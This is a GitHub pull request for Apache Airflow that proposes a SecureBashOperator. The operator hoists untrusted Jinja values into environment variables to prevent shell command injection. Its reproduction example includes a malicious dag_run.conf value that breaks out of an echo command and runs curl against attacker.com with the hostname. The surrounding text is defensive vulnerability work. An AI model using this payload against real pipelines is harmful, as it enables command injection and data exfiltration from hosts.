voidsidd opened a new pull request, #66478:
URL: https://github.com/apache/airflow/pull/66478
#### Summary
I noticed that while **#64129** updated the docs to warn against insecure
templating in `BashOperator`, it’s still very easy for users to accidentally
create command injection vulnerabilities (CVE-2026-30898) when using
`dag_run.conf`.
This PR introduces the `SecureBashOperator`, a security-hardened alternative
to the standard `BashOperator`. It addresses a critical vulnerability class
where untrusted runtime data (from `dag_run.conf`, `params`, or `Variables`)
can be injected into the shell execution context. Instead of relying on fragile
input sanitization or regex-based blacklisting, this operator implements
**Template Lifting**. This separates the untrusted Jinja2 expressions from the
bash command string by hoisting them into the process environment variables
before the shell is invoked.
#### The Vulnerability: Context Breakout
The current `BashOperator` execution model is vulnerable when DAGs process
external triggers. Since Jinja2 renders directly into the command string,
malicious payloads can break out of the intended command context.
**Reproduction Case:**
```python
# Malicious trigger configuration: {"user_id": "\"; curl
http://attacker.com/$(hostname) #\""}
bash_task = BashOperator(
task_id="process_user",
bash_command='echo "Processing user: {{ dag_run.conf[\'user_id\'] }}"'
)
# Resulting execution: echo "Processing user: "; curl
http://attacker.com/$(hostname) #"
```
#### The Fix: Template Lifting
The `SecureBashOperator` automates the secure pattern recommended by
maintainers:
1. **Identification**: Scans `bash_command` for untrusted runtime sources.
2. **Hoisting**: Replaces these expressions with POSIX variable references
(e.g., `${_AIRFLOW_LIFTED_0}`).
3. **Parameterization**: Renders the extracted Jinja expressions into the
task's `env` dictionary.
Because the shell expands `${VAR}` as literal data and does not re-scan the
result for command substitution, the payload is neutralized.
#### Implementation Details
* **Opt-in Replacement**: Located in the `standard` provider. It doesn't
modify the existing `BashOperator`, ensuring 100% backward compatibility for
existing DAGs.
* **Safety Guardrails**: Automatically logs a warning if `eval` or `source`
are detected in the command, as these would re-evaluate the safe environment
variables as code.
#### Testing
* Unit tests for complex/nested Jinja extraction.
* System test DAG:
`providers/standard/tests/system/standard/example_secure_bash.py`.
Fixes CVE-2026-30898
---
^Gen-AI disclosure: This PR was developed with the assistance of an AI
coding agent. All code and logic have been manually reviewed and verified.^
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